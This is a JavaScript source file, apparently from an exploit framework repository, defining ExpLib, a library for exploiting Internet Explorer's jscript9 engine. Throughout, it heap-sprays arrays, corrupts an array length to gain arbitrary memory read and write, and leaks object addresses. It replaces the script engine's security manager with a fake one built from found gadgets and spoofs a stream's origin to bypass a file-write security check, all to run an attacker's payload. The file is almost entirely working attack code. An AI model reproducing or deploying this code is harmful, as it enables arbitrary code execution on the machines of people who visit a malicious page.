sinn3r
427 lines
10 KiB
JavaScript
427 lines
10 KiB
JavaScript
|
|
|
|
ExpLib = (function() {
|
|
|
|
function ExpLib( num_arrays, arr_size, base, payload ) {
|
|
this.arr1 = null;
|
|
this.arr2 = null;
|
|
this.base = base;
|
|
this.arr_size = arr_size;
|
|
this.arr_arr = null;
|
|
// Allows to control the contents of the sprayed memory.
|
|
// Have into account some array positions will be corrupted
|
|
// while leaking and modifying things.
|
|
this.arr_contents = [];
|
|
|
|
this.payload = payload;
|
|
this.modules = {}
|
|
this.getproc = null;
|
|
this.loadlibrary = null;
|
|
|
|
// Offset to the Origin URL in the Stream, modifying it
|
|
// allows to bypass msado15.SecurityCheck(), allowing
|
|
// for example to write stream contents to filesystem.
|
|
this.stream_origin = 0x44;
|
|
}
|
|
|
|
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
|
var module = this.resolveModule( modulename );
|
|
|
|
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
|
}
|
|
|
|
ExpLib.prototype.resolveModule = function( modulename ) {
|
|
if ( this.modules[modulename] )
|
|
return this.modules[modulename];
|
|
|
|
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
|
this.modules[modulename] = module;
|
|
return module;
|
|
}
|
|
|
|
ExpLib.prototype.spray = function() {
|
|
this.arr_arr = new Array( num_arrays );
|
|
|
|
var decl = "[";
|
|
|
|
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
|
decl += '0,';
|
|
}
|
|
|
|
decl += '0';
|
|
decl += ']';
|
|
|
|
for ( var i = 0; i < num_arrays; ++ i ) {
|
|
this.arr_arr[i] = eval(decl);
|
|
for(var j = 0; j < this.arr_contents.length; j++) {
|
|
this.arr_arr[i][j] = this.arr_contents[j];
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
// Should be used before calling spray()
|
|
ExpLib.prototype.setArrContents = function(contents) {
|
|
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
|
this.arr_contents[i] = contents[i];
|
|
}
|
|
}
|
|
|
|
ExpLib.prototype.setValue = function(i1, i2, v) {
|
|
this.arr_arr[i1][i2] = v;
|
|
}
|
|
|
|
|
|
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
|
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
|
}
|
|
|
|
ExpLib.prototype.read32 = function(addr) {
|
|
if ( addr % 4 ) {
|
|
// error
|
|
}
|
|
|
|
if ( addr >= this.arr2_member_base ) {
|
|
return this.arr2[(addr - this.arr2_member_base)/4];
|
|
} else {
|
|
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
|
}
|
|
}
|
|
|
|
ExpLib.prototype.write32 = function(addr, value) {
|
|
if ( addr % 4 ) {
|
|
// error
|
|
}
|
|
|
|
if ( value >= 0x80000000 )
|
|
value = -(0x100000000 - value);
|
|
|
|
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
|
if ( addr >= this.arr2_member_base ) {
|
|
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
|
} else {
|
|
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
|
}
|
|
}
|
|
|
|
ExpLib.prototype.read8 = function(addr) {
|
|
var value = this.read32( addr & 0xfffffffc );
|
|
switch ( addr % 4 ) {
|
|
case 0: return (value & 0xff);
|
|
case 1: return ((value >> 8) & 0xff);
|
|
case 2: return ((value >> 16) & 0xff);
|
|
case 3: return ((value >> 24) & 0xff);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
ExpLib.prototype.write8 = function(addr, value) {
|
|
var original_value = this.read32( addr & 0xfffffffc );
|
|
var new_value;
|
|
|
|
switch ( addr % 4 ) {
|
|
case 0:
|
|
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
|
break;
|
|
|
|
case 1:
|
|
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
|
break;
|
|
case 2:
|
|
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
|
break;
|
|
case 3:
|
|
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
|
break;
|
|
}
|
|
|
|
|
|
this.write32( addr & 0xfffffffc, new_value );
|
|
}
|
|
|
|
|
|
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
|
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
|
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
|
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
|
|
|
this.write32( addr + i, value );
|
|
}
|
|
|
|
for ( ; i < bytes.length; ++ i ) {
|
|
this.write8( addr + i, bytes[i] );
|
|
}
|
|
}
|
|
|
|
ExpLib.prototype.writeString = function(addr, s) {
|
|
var bytes = [];
|
|
var i = 0;
|
|
for ( ; i < s.length; ++ i ) {
|
|
bytes[i] = s.charCodeAt(i);
|
|
}
|
|
|
|
bytes[i] = 0;
|
|
|
|
this.writeBytes( addr, bytes );
|
|
}
|
|
|
|
ExpLib.prototype.writeStringW = function(addr, s) {
|
|
var bytes = [];
|
|
var i = 0;
|
|
for ( ; i < s.length; ++i ) {
|
|
bytes[i * 2] = s.charCodeAt(i);
|
|
bytes[i * 2 + 1] = 0;
|
|
}
|
|
|
|
bytes[s.length * 2] = 0;
|
|
bytes[s.length * 2 + 1] = 0;
|
|
|
|
this.writeBytes( addr, bytes );
|
|
}
|
|
|
|
ExpLib.prototype.read16 = function(addr) {
|
|
if ( addr % 2 ) {
|
|
// error, not aligned
|
|
}
|
|
|
|
var value = this.read32( addr & 0xfffffffc );
|
|
switch ( addr % 4 ) {
|
|
case 0: return (value & 0xffff);
|
|
case 1: return ((value >> 8) & 0xffff);
|
|
case 2: return ((value >> 16) & 0xffff);
|
|
case 3: /*not supported*/ break;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
ExpLib.prototype.strequal = function(addr, s) {
|
|
for ( var i = 0; i < s.length; ++ i ) {
|
|
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
|
|
ExpLib.prototype.getModuleBase = function(addr) {
|
|
|
|
var cur_addr = addr;
|
|
|
|
while ( cur_addr > 0 ) {
|
|
|
|
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
|
return cur_addr;
|
|
}
|
|
|
|
cur_addr -= 0x10000;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
|
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
|
var cur_table = import_table;
|
|
|
|
while ( cur_table < import_table + 0x1000 ) {
|
|
|
|
var name_addr = base + this.read32(cur_table + 12);
|
|
if ( this.strequal( name_addr, name ) ) {
|
|
var iat = base + this.read32(cur_table + 16);
|
|
var func = this.read32(iat);
|
|
while ( 0 == func ) {
|
|
iat += 4;
|
|
func = this.read32(iat);
|
|
}
|
|
|
|
return this.getModuleBase( func & 0xFFFF0000 );
|
|
|
|
}
|
|
|
|
cur_table += 20;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
ExpLib.prototype.getProcAddress = function(base, procname) {
|
|
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
|
var num_functions = this.read32( export_table + 20 );
|
|
var addr_functions = base + this.read32( export_table + 28 );
|
|
var addr_names = base + this.read32( export_table + 32 );
|
|
var addr_ordinals = base + this.read32( export_table + 36 );
|
|
|
|
for ( var i = 0; i < num_functions; ++ i ) {
|
|
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
|
if ( this.strequal( name_addr, procname ) ) {
|
|
var ordinal = this.read16( addr_ordinals + i * 2 );
|
|
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
|
return result;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
|
|
|
if ( start >= end || start + pattern.length > end )
|
|
return 0;
|
|
|
|
var pos = start;
|
|
while ( pos < end ) {
|
|
for ( var i = 0; i < pattern.length; ++ i ) {
|
|
if ( this.read8(pos + i) != pattern[i] )
|
|
break;
|
|
}
|
|
|
|
if ( i == pattern.length ) {
|
|
return pos;
|
|
}
|
|
|
|
++ pos;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
ExpLib.prototype.getError = function(msg) {
|
|
return this.err_msg;
|
|
}
|
|
|
|
ExpLib.prototype.setError = function(msg) {
|
|
this.err_msg = msg;
|
|
}
|
|
|
|
ExpLib.prototype.setStreamOrigin = function(offset) {
|
|
this.stream_origin = offset;
|
|
}
|
|
|
|
ExpLib.prototype.getStreamOrigin = function() {
|
|
return this.stream_origin;
|
|
}
|
|
|
|
ExpLib.prototype.memcpy = function(dst, src, size) {
|
|
var i = 0;
|
|
for ( ; i < size - 4; i += 4 ) {
|
|
this.write32( dst + i, this.read32(src + i) );
|
|
}
|
|
|
|
for ( ; i < size; ++ i ) {
|
|
this.write8( dst + i, this.read8(src + i) );
|
|
}
|
|
}
|
|
|
|
ExpLib.prototype.go = function() {
|
|
|
|
var i = 0;
|
|
|
|
|
|
|
|
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
|
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
|
|
|
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
|
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
|
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
|
|
|
this.arr_arr[i + 1].length = 0x3fffffff;
|
|
|
|
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
if ( i >= this.arr_arr.length - 1 ) {
|
|
this.setError( "Cannot find array with corrupt length!" );
|
|
return false;
|
|
}
|
|
|
|
this.arr1_idx = i;
|
|
this.arr2_idx = i + 1;
|
|
|
|
this.arr1 = this.arr_arr[i];
|
|
this.arr2 = this.arr_arr[i + 1];
|
|
|
|
this.arr2_base = this.base + 0x1000;
|
|
this.arr2_member_base = this.arr2_base + 0x20;
|
|
|
|
var func_addr = this.leakAddress(ActiveXObject);
|
|
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
|
|
|
//alert(script_engine_addr.toString(16));
|
|
|
|
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
|
if ( !original_securitymanager ) {
|
|
// let security manager to be valid
|
|
try {
|
|
var WshShell = new ActiveXObject("WScript.shell");
|
|
} catch (e) {}
|
|
|
|
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
|
}
|
|
|
|
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
|
var securitymanager_size = 0x28;
|
|
var fake_securitymanager = 0x1a1b2010;
|
|
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
|
//alert(original_securitymanager.toString(16));
|
|
|
|
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
|
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
|
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
|
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
|
|
|
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
|
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
|
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
|
|
|
|
|
this.write32( fake_securitymanager_vtable + 0x14,
|
|
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
|
|
|
this.write32( fake_securitymanager_vtable + 0x10,
|
|
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
|
|
|
this.payload.execute(this);
|
|
|
|
|
|
/*
|
|
* restore
|
|
*/
|
|
|
|
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
ExpLib.prototype.leakAddress = function(obj) {
|
|
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
|
return this.read32(this.arr2_member_base + 0x1008);
|
|
}
|
|
|
|
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
|
var obj = this.leakAddress(stream);
|
|
var stream_obj = this.read32(obj + 0x30);
|
|
//var url_addr = this.read32(stream_obj + 0x3c);
|
|
var url_addr = this.read32(stream_obj + this.stream_origin);
|
|
|
|
/*
|
|
* bypass domain check
|
|
*/
|
|
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
|
}
|
|
|
|
return ExpLib;
|
|
|
|
})();
|